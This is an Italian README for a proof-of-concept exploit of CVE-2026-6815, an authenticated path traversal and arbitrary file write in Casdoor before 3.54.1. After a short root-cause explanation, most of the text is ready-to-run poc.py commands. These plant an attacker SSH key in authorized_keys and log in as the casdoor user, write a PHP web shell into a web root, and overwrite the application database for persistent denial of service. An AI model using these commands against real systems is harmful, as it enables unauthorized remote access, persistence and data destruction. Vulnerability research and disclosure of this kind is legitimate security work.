
PoC exploit per path traversal autenticato e scrittura arbitraria di file per Casdoor <3.54.1, che consente RCE tramite iniezione di chiavi SSH, upload di web shell o DoS persistente tramite corruzione del database.
Questo repository contiene un exploit Proof of Concept (PoC) per CVE-2026-6815, una vulnerabilità di scrittura arbitraria di file e path traversal in Casdoor.
La vulnerabilità è stata risolta nella versione 3.54.1.
L'attaccante deve essere autenticato all'istanza Casdoor con privilegi di amministratore o utente equivalente che abbia accesso per creare e/o modificare provider di archiviazione.
.ssh/authorized_keys, crontab o webroot.casdoor.db) o binari principali con file arbitrari, fermando immediatamente l'applicazione.Casdoor consente agli amministratori di configurare provider di archiviazione. Il provider Local File System non sanifica correttamente la configurazione pathPrefix e il parametro fullFilePath durante il caricamento delle risorse.
Utilizzando sequenze di directory traversal (../), un amministratore autenticato può uscire dalla directory di archiviazione dedicata e scrivere file in qualsiasi punto in cui il processo Casdoor ha i permessi.
La vulnerabilità deriva da una validazione insufficiente del percorso in:
object/provider.go: Nessuna validazione su pathPrefix durante creazione/aggiornamento.storage/local_file_system.go: Il metodo GetFullPath non verifica se il percorso risolto rimane all'interno della sandbox prevista.Installare le dipendenze:
pip install -r requirements.txt
Eseguire l'exploit:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
Scrivere una chiave pubblica controllata dall'attaccante nel file authorized_keys dell'utente casdoor per ottenere accesso SSH.
Generare la chiave SSH:
ssh-keygen -f casdoor_rce
Sovrascrivere authorized_keys con la chiave pubblica generata:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
Ottenere una shell SSH sull'host remoto usando la chiave privata:
ssh -i ./casdoor_rce casdoor@target
Sovrascrivere il file del database locale dell'applicazione (es. casdoor.db) per causare un denial of service.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
Se il server ospita un server web secondario (es. Apache/Nginx) sullo stesso filesystem, scrivere una web shell nella sua document root.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
Se si dispone di credenziali amministrative per un'organizzazione e un'applicazione specifiche (diverse da quelle predefinite built-in e app-built-in), specificarle usando --orgname e --appname.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
Questo software è solo per scopi educativi e di test di sicurezza autorizzati. L'autore non è responsabile per qualsiasi uso improprio di queste informazioni.
Vulnerabilità scoperta e PoC sviluppato da Danilo Dell'Orco (sixpain).